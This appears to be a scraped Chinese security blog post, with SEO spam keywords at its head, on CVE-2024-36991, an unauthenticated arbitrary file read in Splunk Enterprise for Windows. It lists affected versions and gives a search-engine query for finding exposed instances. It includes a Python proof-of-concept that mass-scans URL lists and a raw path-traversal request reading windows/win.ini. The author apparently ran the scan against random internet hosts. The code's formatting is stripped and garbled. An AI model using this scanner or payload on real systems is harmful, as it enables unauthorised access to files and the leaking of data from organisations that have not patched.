医院网站建设预算,做金融的看哪些网站,深圳专业企业网站建,高端定制网站建设声明#xff1a;本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动#xff0c;将与本文档的作者或发布者无关。 一、漏洞描述
Splunk Enterprise 是一款强大的机器数据管理和分析平台#xff0c;广泛应用于企业中#xff0c;用于实… 声明本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动将与本文档的作者或发布者无关。 一、漏洞描述
Splunk Enterprise 是一款强大的机器数据管理和分析平台广泛应用于企业中用于实时收集、索引、搜索、分析和可视化来自各种数据源的日志和数据。Splunk Enterprise for Windows 存在任意文件读取漏洞 (CVE-2024-36991) 允许未经身份认证的攻击者通过构造特定的请求来读取系统上的任何文件可能导致重要信息的泄露。
受影响的版本包括
9.2.0 至 9.2.1不包括9.2.29.1.0 至 9.1.4不包括9.1.59.0.0 至 9.0.9不包括9.0.10
二、资产收集
1.使用网络空间测绘引擎搜索
鹰图检索app.nameSplunkd 2.使用poc批量扫描
import requests # 导入requests库用于发送HTTP请求
import argparse # 导入argparse库用于处理命令行参数
from urllib3.exceptions import InsecureRequestWarning # 导入InsecureRequestWarning异常类RED \033[91m # 定义红色字体的ANSI转义码
RESET \033[0m # 定义重置字体颜色的ANSI转义码
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(categoryInsecureRequestWarning)def check_file_read(url):headers {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15}file_read_url f{url.rstrip(/)}/en-US/modules/messaging/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/windows/win.initry:response requests.get(file_read_url, headersheaders, verifyFalse, timeout30) # 发送GET请求不验证SSL证书设置超时时间为30秒if response.status_code 200 and fonts in response.text: # 检查响应状态码和响应内容判断是否存在漏洞print(f{RED}URL [{url}] 存在Splunk Enterprise for Windows 任意文件读取漏洞{RESET})else:print(fURL [{url}] 可能不存在漏洞)except requests.RequestException as e: # 捕获请求异常print(fURL [{url}] 请求失败 {e})def main():parser argparse.ArgumentParser(description检测目标地址是否存在Splunk Enterprise for Windows 任意文件读取漏洞) # 创建命令行参数解析器parser.add_argument(-u, --url, help指定目标地址) # 添加命令行参数指定目标地址parser.add_argument(-f, --file, help指定包含目标地址的文本文件) # 添加命令行参数指定包含目标地址的文本文件args parser.parse_args() # 解析命令行参数if args.url: # 如果提供了单个URLif not args.url.startswith(http://) and not args.url.startswith(https://): # 确保URL以http://或https://开头args.url http:// args.urlcheck_file_read(args.url) # 调用check_file_read函数检测漏洞elif args.file: # 如果提供了包含多个URL的文件with open(args.file, r) as file: # 打开文件并读取内容urls file.read().splitlines() # 按行分割文件内容得到URL列表for url in urls: # 遍历URL列表if not url.startswith(http://) and not url.startswith(https://): # 确保URL以http://或https://开头url http:// urlcheck_file_read(url) # 调用check_file_read函数检测漏洞if __name__ __main__:main() # 执行主函数cmd运行python poc.py -f url.txt 随机寻找的幸运儿 三、漏洞复现
1.构造数据包
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
2.数据包分析 GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1这是请求行表示客户端希望从服务器获取的资源路径。在这请求的资源是位于服务器上的文件win.ini该文件位于多个C:..目录之后。 Host: ip这是请求头的一部分指定了请求的目标服务器的IP地址或域名。在这个例子中目标服务器的IP地址或域名是ip。 User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36这是请求头的一部分描述了发起请求的客户端的类型和版本信息。 Connection: close这是请求头的一部分指示服务器在响应完成后关闭连接。这意味着客户端在接收到响应后不会保持连接而是立即关闭连接。 Accept-Encoding: gzip这是请求头的一部分告诉服务器客户端可以接受gzip压缩的内容。如果服务器支持gzip压缩它将使用gzip压缩响应内容以减少传输的数据量。
3.结束跑路
使用yakit Web Fuzzer构造数据包发送 每篇一言现实与理想相差了十万八千里,我马不停蹄,却也鞭长莫及。